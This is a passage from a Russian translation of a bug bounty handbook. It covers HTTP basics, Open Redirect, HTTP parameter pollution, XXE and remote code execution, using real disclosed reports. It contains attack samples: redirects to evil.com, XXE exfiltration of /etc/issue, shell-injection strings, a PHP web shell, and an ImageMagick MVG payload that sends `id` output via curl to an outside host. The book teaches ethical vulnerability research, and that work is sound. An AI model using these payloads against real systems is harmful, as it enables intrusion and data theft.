разделенные слешами /. Также браузер сигнализирует о том, что использует
протокол HTTP версии 1.1. Запрос типа GET просто извлекает информацию.
Ниже он описан подробнее.
Заголовок Host  содержит дополнительную информацию, которая передается в рамках запроса. HTTP 1.1 требует уточнить имя получателя запроса,
поскольку один IP-адрес может соответствовать нескольким доменным
именам. Заголовок Connection  обозначает, что соединение с сервером
останется открытым, чтобы не пришлось его закрывать и устанавливать
снова и снова.
Формат ожидаемого ответа показан в строке . Мы надеемся получить
application/html, но примем любой формат, так как указали знаки подстановки
(*/*). Существуют сотни разных типов содержимого, но в наших примерах
чаще будут встречаться application/html, application/json, application/octetstream и text/plain. Наконец, в заголовке User-Agent  указано программное
обеспечение, ответственное за отправку запроса.

Что происходит, когда вы заходите на веб‑сайт  31

Шаг 5. Ответ сервера
В ответ на запрос сервер должен вернуть нечто, похожее на листинг 1.2:
Листинг 1.2. Ответ сервера
 HTTP/1.1 200 OK
 Content-Type: text/html


Google.com


 --пропуск-


Мы получили HTTP-ответ с кодом состояния 200  , соотвествующим
HTTP 1.1. Коды состояния определяют ответ сервера. Они описаны в RFC
и обычно представляют собой трехзначные числа, начинающиеся с 2, 3, 4 или 5.
Коды вида 2xx сигнализируют о том, что запрос был удачным.
Но строгих требований к использованию HTTP-кодов нет, и вы можете получить 200, даже если в теле HTTP-сообщения  говорится о программной
ошибке. Мы убрали содержимое и подставили --пропуск--, так как тело ответа
от Google довольно большое. Текст ответа обычно имеет формат HTML (если
это веб-страница), реже JSON (в случае с программным интерфейсом) или
представляет собой содержимое загружаемого файла и т. д.
Заголовок Content-Type  информирует браузер о MIME-типе тела ответа.
MIME-тип определяет, как браузер выведет содержимое тела. Часто браузер
самостоятельно выполняет распознавание MIME, считывая первый бит тела.
Приложения могут запретить такое поведение браузера, указав заголовок
X‑ Content-Type- Options: nosniff.
Цифра 3 в начале кода ответа означает перенаправление. Например, если компании Google понадобится постоянно перенаправлять пользователей с одного
URL-адреса на другой, она теоретически может использовать ответ 301. Для
временного перенаправления предусмотрен код 302.

32   Глава 1. Основы охоты за уязвимостями

Получив ответ 3xx, браузер должен сделать новый HTTP-запрос по URL-ад­
ре­су из заголовка Location:
HTTP/1.1 301 Found
Location: https://www.google.com/

Код 4xx обычно сигнализирует о пользовательской ошибке. Например, 403 сообщает, что HTTP-запрос не содержит идентификационной информации для
получения доступа к содержимому. Код 5xx указываетна серверную ошибку.
Так, 503 говорит о том, что сервер не готов обработать полученный запрос.

Шаг 6. Отображение ответа
Поскольку сервер вернул ответ с кодом 200 и типом содержимого text/html,
браузер приступил к отображению полученных данных. Тело ответа описывает
то, что следует показать пользователю.
В нашем примере пользователь увидит HTML для описания структуры страницы, каскадные таблицы стилей (сascading style sheets, или CSS) для стилизации
и компоновки, а также JavaScript для добавления динамических возможностей
и мультимедийной информации вроде изображений или видеороликов. Также
сервер может вернуть содержимое типа XML (глава 11).
Когда веб-страницы будут ссылаться на внешние ресурсы (CSS, JavaScript
или медиафайлы), браузер будет выполнять дополнительные запросы для
необходимых файлов, не переставая анализировать ответ и выводить его тело
на экран, то есть отображать корневую страницу Google: www.google.com.
JavaScript — это скриптовый язык, поддерживаемый всеми основными браузерами. Он придает веб-страницам динамические возможности, позволяя им,
к примеру, обновлять свое содержимое без полной перезагрузки, проверять
устойчивость пароля (на некоторых веб-сайтах) и т. д. Как и другие языки
программирования, JavaScript имеет встроенные функции, может хранить
значения в переменных и выполнять код в ответ на события, произошедшие
на веб-странице. Он также имеет доступ к различным программным интерфейсам браузера (API-интерфейсам), помогающим ему взаимодействовать
с другими подсистемами, такими как объектная модель документа (document
object model, или DOM).

HTTP-запросы  33

DOM позволяет JavaScript работать с HTML и CSS веб-страницы. Если зло­
умышленник выполнит на сайте свой JavaScript-код, он получит доступ к DOM
и сможет взаимодействовать с сайтом от имени жертвы (глава 7).

HTTP-запросы
Метод запроса отражает назначение запроса и ожидания клиента. Например,
в листинге 1.1 мы послали запрос GET по адресу http://www.google.com/, ожидая
получить только содержимое http://www.google.com/ без дополнительных действий. Интернет играет роль интерфейса между удаленными компьютерами,
где методы запроса помогают различать запрашиваемые действия.
В стандарте HTTP описываются следующие методы запроса: GET, HEAD, POST, PUT,
DELETE, TRACE, CONNECT и OPTIONS (у метода PATCH нет общепринятой реализации).
Через HTML можно посылать только запросы типа GET и POST. Запросы типа
PUT, PATCH и DELETE инициируются JavaScript.
В следующем разделе приводится краткий обзор методов запроса, которые
встречаются в этой книге.

Методы запроса
Метод GET извлекает информацию об унифицированном идентификаторе
ресурса (uniform resource identifier, или URI). Термин URI часто используется как синоним URL (Uniform Resource Locator — унифицированный
указатель ресурса). Формально URL — это разновидность URI, которая
определяет ресурс и его местоположение в сети. Например, http://www.google.
com//file.txt и //file.txt — корректные URI-адреса, но только
первый из них соответствует спецификации URL, так как идентифицирует
способ обращения к ресурсу по его домену http://www.google.com. Несмотря
на этот нюанс, дальше в книге мы будем называть любые идентификаторы
ресурсов URL-адресами.
GET-запросы не должны изменять данные. Их задача — извлекать информацию

из сервера и возвращать ее в теле HTTP-сообщения. Но этому поведению угрожает межсайтовая подделка запросов (глава 4), и само посещение URL-адреса

34   Глава 1. Основы охоты за уязвимостями

или ссылки на веб-сайте заставляет браузер отправлять соответствующему
серверу GET-запрос, что может привести к уязвимости Open Redirect (глава 2).
Метод HEAD идентичен методу GET, но не обязывает сервер возвращать в ответе
тело сообщения.
Метод POST вызывает удаленную функцию, которая заставляет принимающий
сервер выполнить действие: создать комментарий, зарегистрировать пользователя, удалить учетную запись и т. д. — либо бездействовать. Ошибка обработки
POST-запроса мешает сохранить запись на сервере.
Метод PUT относится к функции, которая обращается к уже существующей
записи на удаленном сервере или в приложении. Он используется для обновления данных, статей в блоге и т. д. Выполняемые с его подачи действия тоже
могут варьироваться или отсутствовать.
Метод DELETE запрашивает удаление ресурса с идентификатором URI.
TRACE — малораспространенный метод, который возвращает запрос обратно

тому, кто его выполнил. Запрашивающая сторона видит, что получил сервер,
и может использовать эту информацию для тестирования или сбора диагностических данных.
Метод CONNECT работает с прокси-сервером, который перенаправляет запросы
другим серверам. Он инициирует двунаправленное взаимодействие с запрашиваемым ресурсом. С его помощью можно получить доступ к веб-сайтам,
которые используют прокси для поддержки HTTPS.
Метод OPTIONS позволяет браузеру сделать запрос о доступных вариантах
взаимодействия с сервером (для содержимого таких типов, как application/
json, автоматически). Он помогает узнать, принимает ли сервер вызовы GET,
POST, PUT, DELETE и OPTIONS (но не HEAD или TRACE). Запросы с этим методом называют предполетными (глава 4).

Протокол HTTP не хранит состояние
HTTP-запросы не имеют состояния. Это означает, что сервер не знает о прошлом взаимодействии с вашим браузером. В большинстве случаев сайтам

Итоги  35

нужно помнить, кто вы, чтобы не заставлять вас заново вводить свои имя пользователя, пароль и другие данные при отправлении каждого HTTP-запроса.
Общение без сохранения состояния хорошо иллюстрирует фильм «50 первых
поцелуев» с Дрю Бэрримор (рекомендую). Представьте, что каждую главу мне
пришлось бы начинать словами: «Меня зовут Питер Яворски. Мы только что
обсуждали хакинг». Затем вам нужно было бы заново загрузить всю информацию о хакинге, полученную в ходе чтения.
Чтобы вас запомнить, веб-сайты используют куки, или базовую HTTP‑аутен­
ти­фикацию (глава 4).
ПРИМЕЧАНИЕ
Во время хакинга вы можете встретить данные в кодировке base64. Их следует
декодировать. Поисковый запрос «base64 декодирование» в Google поможет
узнать, какими инструментами это делается.

Итоги
Вы получили общее представление о работе интернета и узнали, что происходит при вводе URL в адресную строку браузера.
Мы описали уязвимости как слабое место в приложении, с помощью которого
злоумышленник может выполнять действия или получить несанкционированный доступ к информации. И обозначили программы Bug Bounty, связанные
с вознаграждением за этичный поиск уязвимостей и их описание в отчетах
для владельцев веб-сайтов.

2

Open Redirect

Начнем обсуждение с уязвимости Open Redirect, которая позволяет веб-сайту
передавать посетителю другой URL-адрес, возможно, в другом домене. Open
Redirect эксплуатирует доверие к домену, чтобы заманить жертву на вредоносный веб-сайт, и может сопровождаться атакой фишинга, при которой пользователь ошибочно полагает, что передает данные надежному сайту. В сочетании
с другими атаками Open Redirect помогает распространять зараженное ПО на
вредоносном сайте или похищать токены OAuth (глава 17).
Поскольку уязвимость Open Redirect просто перенаправляет пользователей,
многие компании (например, Google) не выплачивают награду за ее обнаружение. Сообщество OWASP (Open Web Application Security Project), которое
занимается безопасностью приложений и ведет список наиболее серьезных
пробелов в веб-сайтах, не включило Open Redirect в десятку самых важных
уязвимостей 2017 года.
Несмотря на это, уязвимости Open Redirect отлично подходят для изучения
того, как браузеры выполняют перенаправления. В этой главе вы узнаете,
как их использовать и как определять ключевые параметры на примере трех
отчетов об ошибках.

Как работает Open Redirect  37

Как работает Open Redirect
Уязвимость Open Redirect возникает, когда разработчик по ошибке позволяет
через ввод перенаправить браузер к другому сайту. Обычно для этого применяются параметры URL-адреса, HTML-теги для обновления страницы
или свойство DOM window.location.
Многие веб-сайты намеренно перенаправляют пользователей на другие страницы, передавая конечный URL-адрес в качестве параметра исходного URL.
Приложение использует этот параметр, чтобы заставить браузер послать GETзапрос к соответствующей странице. Представим, что Google может перенаправить вас к Gmail, если вы посетите следующий URL-адрес:
https://www.google.com/?redirect_to=https://www.gmail.com

Когда вы откроете эту страницу, Google получит HTTP-запрос типа GET и проанализирует значение параметра redirect_to, чтобы определить, куда перенаправить браузер. Затем серверы Google вернут ответ с кодом состояния,
который заставит браузер перенаправить пользователя. Обычно это код 302,
реже — 301, 303, 307 или 308. HTTP-ответы с этими кодами сообщают браузеру
о том, что страница найдена, но требуют выполнить еще один GET-запрос по
адресу, указанному в параметре redirect_to (https://www.gmail.com/), который
находится в заголовке Location HTTP-ответа. Заголовок Location определяет,
куда следует перенаправлять GET-запросы.
Теперь представим, что злоумышленник поменял исходный URL-адрес следующим образом:
https://www.google.com/?redirect_to=https://www.attacker.com

Если компания Google не следит за тем, чтобы адрес в параметре redirect_to
принадлежал одному из ее собственных сайтов, злоумышленник может подставить в этот параметр свой URL-адрес. В итоге HTTP-ответ может заставить
ваш браузер сделать GET-запрос к https://www..com/. Заманив вас на
вредоносный сайт, злоумышленник может выполнить другие атаки.
При поиске таких уязвимостей обращайте внимание на параметры URL-адреса
с определенными именами, такими как url=, redirect=, next= и т. д. Они мо-

38   Глава 2. Open Redirect

гут обозначать адрес, по которому будет перенаправлен пользователь. Также
помните, что параметры перенаправления могут называться по-разному на
разных сайтах или даже в пределах одного сайта. Иногда они обозначаются
одним символом — например, r= или u=.
Атаки с перенаправлением могут основываться не только на параметрах, но
и на HTML-тегах или JavaScript. HTML-тег может заставить
браузер обновить страницу и выполнить GET-запрос по URL-адресу, указанному
в атрибуте content этого тега. Вот как это может выглядеть:


Атрибут content состоит из двух частей. Одна из них заставляет браузер подождать какое-то время, прежде чем переходить по заданному URL-адресу;
в данном случае указано 0 секунд. Другая содержит URL-адрес, по которому
нужно перейти; в нашем примере это https://www.google.com . Злоумышленники могут этим воспользоваться, имея возможность изменить атрибут
content тега или внедрить собственный тег с помощью какой-то другой
уязвимости.
Для перенаправления пользователей также применяется JavaScript: модифицируется свойство окна location посредством DOM. DOM — это API-интерфейс
для HTML- и XML-документов, который позволяет разработчикам изменять
структуру, стиль и содержимое веб-страницы. Поскольку свойство location
указывает, куда следует перейти, браузер немедленно интерпретирует этот код
на JavaScript и перенаправляет пользователя к заданному URL-адресу. Для
модификации свойства окна location злоумышленник может воспользоваться
любой из следующих строк кода:
window.location = https://www.google.com/
window.location.href = https://www.google.com
window.location.replace(https://www.google.com)

Установить значение window.location можно только при наличии уязвимости
межсайтового скриптинга или с разрешения веб-сайта указывать для перехода
любой URL-адрес (пример на с. 40).
Найти уязвимости Open Redirect помогает анализ истории GET-запросов прокси-сервера на тестируемом сайте, у которого есть параметр, обозначающий
URL-адрес для перенаправления.

Open Redirect на странице входа в Shopify  39

Open Redirect на странице установки темы
оформления Shopify
Сложность: низкая
URL: https://apps.shopify.com/services/google/themes/preview/supply--blue?domain_
name=

Источник: www.hackerone.com/reports/101962/
Дата подачи отчета: 25 ноября 2015 года
Выплаченное вознаграждение: 500 долларов
Эта уязвимость была найдена на платформе Shopify, где пользователи могут
изменять темы оформления своих магазинов с помощью перенаправления
к такому URL-адресу (для предпросмотра темы):
https://app.shopify.com/services/google/themes/preview/supply--blue?domain_
name=attacker.com

Параметр domain_name перенаправлял пользователя к домену его магазина
и добавлял в конце /admin. Но сайт Shopify не проверял, является ли значение
параметра частью домена shopify.com, и злоумышленники могли перенаправить
пользователя к адресу http://.com/admin/.

Выводы
Не все уязвимости сложны: для перенаправления пользователя к внешнему
сайту может быть достаточно изменения значения параметра.

Open Redirect на странице входа в Shopify
Сложность: низкая
URL: http://mystore.myshopify.com/account/login/
Источник: www.hackerone.com/reports/103772/

40   Глава 2. Open Redirect

Дата подачи отчета: 6 декабря 2015 года
Выплаченное вознаграждение: 500 долларов
На веб-сайте Shopify значение параметра добавляется в конец поддомена
myshopify.com для перенаправления пользователя к странице интересующего
магазина. Но злоумышленники могли добавить определенные символы, чтобы
повлиять на интерпретацию URL-адреса.
После аутентификации пользователь перенаправлялся бы веб-сайтом Shopify
с помощью параметра checkout_url, например, на следующий URL-адрес:
http://mystore.myshopify.com/account/login?checkout_url=.attacker.com

Страница http://mystore.myshopify.com..com/ не принадлежит домену
Shopify.
Поскольку URL-адрес заканчивается на ..com, а DNS-запросы начинают интерпретацию доменов справа налево, перенаправление привело бы к домену .com. Так злоумышленник мог организовать перенаправление
к другому домену, добавляя специальные символы к доступным значениям.

Выводы
Если вы можете контролировать только часть итогового URL-адреса, добавление специальных символов может изменить его интерпретацию и перенаправить пользователя к другому домену. Подставьте специальные символы
вроде точки или @, чтобы проверить нюансы перенаправления.

Перенаправление на межсайтовой странице
HackerOne
Сложность: низкая
URL: отсутствует
Источник: www.hackerone.com/reports/111968/

Перенаправление на межсайтовой странице HackerOne  41

Дата подачи отчета: 20 января 2016 года
Выплаченное вознаграждение: 500 долларов
Защитить сайт от уязвимости Open Redirect можно с помощью межсайтовых
веб-страниц, которые отображаются перед выполнением перехода и информируют пользователя о том, что он покидает текущий домен. HackerOne применяет их, в частности, для перехода по ссылкам из отчетов хакеров.
Межсайтовые страницы дополнили работу HackerOne с компанией Zendesk.
Раньше, когда вы добавляли /zendesk_session к hackerone.com, ваш браузер
перенаправлялся из платформы HackerOne непосредственно на надежную
платформу Zendesk1. Но в Zendesk любой пользователь мог создать учетную
запись, указать ее адрес в параметре /redirect_to_account?state= и тем самым
перенаправить браузер к внешнему веб-сайту. Чтобы решить эту проблему,
в HackerOne стали считать ссылки, содержащие zendesk_session, внешними
и сопровождать переход по ним межсайтовой страницей с предупреждением
о смене домена.
Махмуд Джамал подтвердил эту уязвимость, создав в Zendesk учетную запись
с поддоменом http://compayn.zendesk.com и добавив в заголовочный файл (через
редактор тем Zendesk) код на JavaScript:
document.location.href = "http://evil.com";

Тег обозначает код, встроенный в HTML, document представляет содержимое веб-страницы, а свойства документа разделены точками. Свойство
location позволяет управлять страницей, которую отображает ваш браузер,
а его дочернее свойство href — перенаправлять браузер к заданному вебсайту. По ссылке жертва переходила на поддомен Zendesk, принадлежащий
Джамалу, а браузер жертвы выполнял скрипт Джамала и перенаправлял ее
к http://evil.com:
https://hackerone.com/zendesk_session?locale_id=1&return_to=https://support.
hackerone.com/ping/redirect_to_account?state=compayn:/

1

Теперь HackerOne перенаправляет https://support.hackerone.com к docs.hackerone.com, если
вы не подаете заявку в службу поддержки через адрес /hc/en-us/requests/new.

42   Глава 2. Open Redirect

Поскольку ссылка содержала домен hackerone.com, межсайтовая страница не
выводилась, и пользователь не знал, что он попадает на небезопасный веб-сайт.
Интересно, что в Zendesk проигнорировали отчет Джамала, но он продолжил
исследовать проблему и организовал атаку перенаправления с помощью
JavaScript, что убедило компанию HackerOne выплатить ему вознаграждение.

Выводы
В процессе поиска уязвимостей обращайте внимание, могут ли сервисы, которые использует веб-сайт, допускать атаки.
Учитесь доказывать серьезность последствий найденной уязвимости, умейте
общаться как хакер (глава 19).
Если представители компании с вами не согласны, следуйте примеру Джамала
и демонстрируйте найденные пробелы в сочетании с другими уязвимостями.

Итоги
Уязвимости Open Redirect позволяют злоумышленнику перенаправлять
пользователей к вредоносным веб-сайтам без их ведома. Параметры перенаправления со значениями вроде redirect_to=, domain_name= или checkout_url=
легко заметить. Труднее найти значения r=, u= и т. д.
Эта уязвимость основана на злоупотреблении доверием. Жертва может воспринять веб-сайт злоумышленника как знакомую страницу. Если вы заметите
потенциально уязвимые параметры, проверьте их, добавляя специальные
символы, такие как точка, и попробуйте изменить часть URL-адреса.
Межсайтовое перенаправление в HackerOne демонстрирует, что при охоте на
уязвимости важно идентифицировать инструменты и сервисы, которые использует веб-сайт. Помните, что иногда следует проявить исследовательскую
настойчивость, чтобы убедить компанию выплатить вознаграждение.

3

Засорение HTTP-параметров

Засорение HTTP-параметров (HTTP parameter pollution, или HPP) возникает,
когда злоумышленник внедряет в HTTP-запрос дополнительные параметры,
и может проявляться как на сервере, так и на клиенте. Поиск засорения связан с экспериментами и пониманием того, как сервер использует значения
параметров.
Вначале определим отличия между серверными и клиентскими HPP и рассмотрим примеры засорения в социальных сетях. Вы увидите, как в поиске
уязвимостей HPP оценивается упорство.

HPP на серверной стороне
Отправив серверу запрос, мы получаем ответ (глава 1). Если дополнить запрос неким кодом, сервер может его выполнить, но этот процесс останется
скрытым от нас. Поэтому для организации серверных HPP нужно выявить
потенциально уязвимые параметры и поэкспериментировать с ними.
Серверное HPP может произойти, если для выполнения денежных переводов на веб-сайте банк принимает параметры URL-адреса (например, from, to
и amount), которые затем обрабатываются на его серверах. То есть, если нужно
перевести 5000 долларов со счета 12345 на счет 67890, URL-адрес будет выглядеть так:

44   Глава 3. Засорение HTTP-параметров

https://www.bank.com/transfer?from=12345&to=67890&amount=5000

Банк рассчитывает получить один параметр from. Но что, если он получит
два, как показано ниже:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF

Вводя дополнительный параметр from со счетом отправителя ABCDEF, зло­
умышленник надеется, что приложение проверит корректность перевода по
первому параметру from, но деньги снимет со второго.
Получив несколько параметров с одинаковым именем, сервер может отреагировать по-разному. Например, PHP и Apache используют последнее значение,
Apache Tomcat берет первый параметр, ASP и IIS учитывают все значения
и т. д. Лука Креттони и Стефано ди Паоло на конференции AppSec EU 09
показали отличия между серверными технологиями (www.owasp.org/images/b/
ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf, слайд 9). Остается экспериментировать,
чтобы понять, какой именно подход использует тестируемый вами сайт.
В нашем примере параметры банка очевидны. Но представьте, что серверный
код не берет параметр from из URL-адреса и принимает два параметра: номер счета получателя и сумму перевода. Номер счета, с которого снимаются
деньги, устанавливается сервером и вам виден. В этом случае ссылка будет
выглядеть так:
https://www.bank.com/transfer?to=67890&amount=5000

Предположим, что нам известен скрытый серверный код. Это длинный код,
написанный на Ruby:
user.account = 12345
def prepare_transfer(params)
 params ">
 %all;

% all  определяет сущность send в строке . Сопас, в отличие от Рамадана,

попытался включить все участки, где можно выполнить XXE. Вот почему он
вызвал сущности %dtd;  и %all;  сразу после их определения во внутреннем
и внешнем DTD-документе соответственно. Исполняемый код находился на
сервере сайта, поэтому вряд ли ему удалось бы узнать, как именно работает
эта уязвимость. Но процесс разбора мог выглядеть так:

150   Глава 11. Внешние XML-сущности

1. Wikiloc разбирает XML и интерпретирует %dtd; как внешний вызов к серверу Сопаса. Затем Wikiloc запрашивает файл xxe.dtd на том же сервере.
2. Сервер Сопаса возвращает файл xxe.dtd сайту Wikiloc.
3. Wikiloc разбирает полученный DTD-файл, что инициирует вызов %all.
4. В ходе интерпретации %all определяется сущность &send;, которая включает в себя вызов из сущности %file.
5. Вместо вызова %file в значении URL-адреса подставляется содержимое
файла /etc/issue.
6. Wikiloc разбирает XML-документ. В результате интерпретируется сущность
&send;, которая делает удаленный вызов к серверу Сопаса, передавая ему
содержимое файла /etc/issue в виде параметра URL-адреса.
Как сказал сам хакер, игра окончена.

Выводы
Это отличный пример того, как можно заставить атакуемый сайт разобрать
ваш файл с XML-сущностями, внедренными в его XML-шаблоны. Обратите
внимание, как вредоносный DTD-файл передается обратно, заставляя жертву
выполнить GET-запрос с содержимым файла. Это простой метод извлечения
данных, так как параметры GET-запроса записываются в журнал вашего сервера.

Итоги
Уязвимость XXE имеет огромный потенциал. Она позволяет заставить приложение вывести свой файл /etc/passwd, передать содержимое /etc/passwd удаленному серверу в виде параметра GET-запроса, организовать вызов удаленного DTD-файла, при разборе которого анализатор сделает обратный запрос
к серверу и передаст файл /etc/passwd.
Проверяйте формы для загрузки файлов, особенно те, которые принимают
разные XML.

12

Удаленное выполнение
кода

Уязвимость к удаленному выполнению кода (remote code execution, или RCE)
возникает, когда приложение использует контролируемый пользователем
ввод без предварительной обработки. RCE обычно эксплуатируется либо
посредством команд оболочки, либо путем выполнения функций в языке
программирования, который использует или на котором написано уязвимое
приложение.

Выполнение команд оболочки
Командная оболочка предоставляет консольный доступ к возможностям операционной системы. Представьте, что сайт www..com позволяет проверять доступность удаленного сервера, отправляя ему ICMP-пакеты. Для этого
пользователь может передать по адресу www.example.com?domain= доменное имя
в параметре domain, который PHP-код сайта обработает следующим образом:
 $domain = $_GET[domain];
echo shell_exec("ping -c 1 $domain");

152   Глава 12. Удаленное выполнение кода

При открытии www..com?domain=google.com значение google.com
присвоится переменной $domain  и передастся функции shell_exec, которая
использует его как аргумент команды ping . Функция shell_exec выполнит
команду оболочки и возвратит строку с полным выводом:
PING google.com (216.58.195.238) 56(84) bytes of data.
64 bytes from sfo03s06-in-f14.1e100.net (216.58.195.238): icmp_seq=1 ttl=56 time=1.51 ms
--- google.com ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.519/1.519/1.519/0.000 ms

Важно, что переменная $domain передана функции shell_exec без предварительной обработки. В популярной оболочке bash команды можно объединить
в цепочку с помощью точки с запятой. То есть если злоумышленник посетит
www..com?domain=google.com;id, функция shell_exec выполнит команды ping и id. Последняя выведет сведения о текущем пользователе, от имени
которого команда была запущена на сервере. Например, можно получить
такой вывод:
 PING google.com (172.217.5.110) 56(84) bytes of data.
64 bytes from sfo03s07-in-f14.1e100.
net (172.217.5.110):
icmp_seq=1 ttl=56 time=1.94 ms
--- google.com ping statistics -- 1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.940/1.940/1.940/0.000 ms
 uid=1000(yaworsk) gid=1000(yaworsk) groups=1000(yaworsk)

Вслед за ответом ping  идет вывод id , который сообщает, что веб-сайт
выполняет на сервере код от имени пользователя yaworsk с идентификатором
uid, равным 1000.
Опасность уязвимости RCE зависит от прав доступа, которыми обладает
пользователь yaworsk. В этом примере злоумышленник прочитает исходный
код сайта, используя команду ;cat FILENAME (где FILENAME — файл, который
нужно прочитать), и изменит файлы в некоторых директориях. Если бы сайт
использовал БД, ее содержимое тоже, скорее всего, можно было бы вывести.
Решение здесь простое. В языке PHP функция escapeshellcmd экранирует
символы, заставляющие оболочку выполнять произвольные команды. В итоге
команды, переданные в параметре URL-адреса, будут восприняты как одно

Выполнение функций  153

экранированное значение. То есть команде ping будет передана строка google.
com\;id, и возникнет ошибка ping: google.com;id: Name or service not known.
Однако функция escapeshellcmd не защищает от передачи флагов командной
строки. Флаг — это необязательный аргумент, который влияет на работу команды. Например, флаг -0 обычно используется для задания файла, в который
будет записываться сгенерированный вывод. Передача флага может изменить
поведение команды и стать причиной уязвимости RCE.

Выполнение функций
Если сайт www..com разрешает пользователям создавать, просматривать и редактировать статьи блога с помощью URL-адреса вида www..
com?id=1&action=view, код, выполняющий эти действия, может выглядеть так:
 $action = $_GET['action'];
$id = $_GET['id'];
 call_user_func($action, $id);

Здесь веб-сайт использует PHP-функцию call_user_func , которая вызывает
свой первый аргумент (тоже функцию) и передает этому вызову оставшиеся
параметры. В данном случае приложение вызвало бы функцию view, присвоенную переменной action , и передало бы ей 1. Эта команда, предположительно,
вывела бы первую статью в блоге.
Но если злоумышленник посетит URL-адрес www..com?id=/etc/
passwd&action=file_get_contents, этот код выполнится следующим образом:
$action = $_GET['action']; //file_get_contents
$id = $_GET['id']; ///etc/passwd
call_user_func($action, $id); //file_get_contents(/etc/passwd);

Здесь в аргументе action передан file_get_contents; — PHP-функция, возвращающая содержимое файла в виде строки. В параметре id передан файл
/etc/passwd, который становится аргументом функции file_get_contents и считывается. С помощью этой уязвимости злоумышленник может прочитать исходный код всего приложения, получить учетные данные для доступа к БД, записать
файлы на сервере и т. д. Вместо первой статьи блога получился бы такой вывод:

154   Глава 12. Удаленное выполнение кода

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Если функции, передаваемые параметру action, не проходят обработку или
фильтрацию, злоумышленник потенциально может получить доступ к командам оболочки, используя такие PHP-вызовы, как shell_exec, exec, system и т. д.

Стратегии обострения удаленного
выполнения кода
Два вида уязвимостей RCE имеют разные последствия. Если злоумышленник
может выполнить любую функцию языка программирования, ему удастся
получить доступ к командам оболочки, выполнение которых подвергает опасности весь сервер. Опасность уязвимости зависит от прав пользователя на
сервере и возможности злоумышленника воспользоваться другой ошибкой,
чтобы повысить привилегии пользователя, — сделать локальное повышение
привилегий (local privilege escalation, или LPE).
LPE достигается через эксплуатацию уязвимостей в ядре, сервисе, запущенном
от имени администратора, или исполняемых файлах с SUID (set user ID —
установка ID пользователя). Ядро — это операционная система компьютера.
Уязвимость в ядре позволит злоумышленнику расширить свои права доступа.
Если злоумышленник получит доступ к сервису, то сможет контролировать
любые команды, которые этот сервис выполняет. Наконец, флаг SUID при
неправильной конфигурации позволит хакеру запускать исполняемые файлы
от имени другого пользователя.
В работе сайта участвует множество компонентов, и существуют общие принципы поиска потенциальных уязвимостей RCE без доступа к исходному коду
приложения. В нашем первом примере вас должен был насторожить тот факт,
что сайт позволял выполнять команду ping, которая является системной.
Во втором примере признаком уязвимости был параметр action, позволивший
указать функцию, которую нужно выполнить на сервере. При поиске таких
зацепок обращайте внимание на параметры и значения, которые передаются

Уязвимость в ImageMagick на сайте Polyvore  155

сайту. Попробуйте передать вместо ожидаемых параметров системные действия
или специальные символы командной строки, такие как точки с запятой или
обратные апострофы (`).
Если веб-сайт, написанный на PHP, позволяет загружать файлы в свою рабочую область, но не ограничивает их тип, вы можете передать PHP-файл
и открыть его на сайте. Поскольку уязвимый сервер не отличит настоящие
PHP-файлы приложения от вредоносных, загруженный вами файл будет
интерпретирован как PHP-код, и его содержимое будет выполнено. Вот пример такого файла, который выполняет PHP-функции, заданные в параметре
URL-адреса super_secret_web_param:
$cmd = $_GET['super_secret_web_param'];
system($cmd);

Если загрузить этот файл на сайт www..com и открыть его по адресу
www..com/files/shell.php, возникает возможность выполнения системных команд. В качестве параметра передайте функцию ?super_secret_web_
param='ls', и содержимое директории files будет выведено. Помните, что не
все компании благосклонно относятся к выполнению сторонних команд на
своих серверах: не забудьте удалить загруженный вами файл, чтобы никто не
смог воспользоваться им со злым умыслом.
Более сложные примеры RCE часто являются результатом неочевидного поведения приложений или ошибок разработчика (глава 8). Внедрение шаблона
Flask Jinja2 на сайт Uber, которое выполнил Оранж Цай (с. 102) и шаблон
Smarty, который я внедрил на сайт Unikrn (с. 106), связаны с уязвимостью RCE.

Уязвимость в ImageMagick на сайте Polyvore
Сложность: средняя
URL: Polyvore.com (приобретен компанией Yahoo!)
Источник: nahamsec.com/exploiting-imagemagick-on-yahoo/
Дата подачи отчета: 5 мая 2016 года
Выплаченное вознаграждение: 2000 долларов

156   Глава 12. Удаленное выполнение кода

Анализ уязвимостей, раскрытых в программной библиотеке, помогает искать
ошибки на сайтах, которые ее используют. ImageMagick — это популярная
библиотека для обработки изображений. Ее реализация доступна в большинстве языков программирования (если не во всех), и ее уязвимость RCE может
иметь разрушительные последствия для веб-сайтов.
Ниже показан код сайта, который делегировал библиотеке задачу обработки
файлов посредством заполнителя %M, передающего команде system() доменное
имя, принадлежащее пользователю:
"wget" -q -O "%o" "https:%M"

Это значение не проходило предварительную обработку, поэтому при передаче
https://example.com";|ls "-la получалась такая команда:
wget -q -O "%o" "https://example.com";|ls "-la"

По аналогии с тем, как мы ранее присоединяли к ping дополнительные команды, этот код добавлял к стандартному параметру функцию командной строки,
используя точку с запятой.
Делегирование возможно благодаря графическому формату SVG или встроенному в ImageMagick формату MVG. При обработке изображения ImageMagick
распознает тип файла по его содержимому, а не по расширению. Например,
если разработчик разрешает загрузку только файлов .jpg, злоумышленник
может обойти эту защиту, поменяв расширение файла с .mvg на .jpg. Приложение решит, что картинка безопасна, но ImageMagick распознает MVG и будет
атакован. Примеры вредоносных файлов, которые применяются для такой
атаки, доступны на сайте imagetragick.com.
После того как эта уязвимость была раскрыта и разработчики получили возможность обновить свой код, Бен Садегипур решил поискать сайты, которые
использовали неисправленную версию ImageMagick. Первым делом он воспроизвел уязвимость на собственном сервере, чтобы подтвердить, что его
вредоносный файл действительно работает. Он выбрал MVG-файл, доступный
на imagetragick.com, и активировал функцию делегирования:
push graphic-context
viewbox 0 0 640 480
 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl\
http://SOMEIPADDRESS:8080/ -d @- > /dev/null`'
pop graphic-context

Уязвимость в ImageMagick на сайте Polyvore  157

Строка  содержала вредоносный ввод. Первая часть эксплойта —
https://127.0.0.1/x.php?x= — удаленный URL-адрес, который ImageMagick
ожидал получить в процессе делегирования. Вслед за этим Садегипур указал
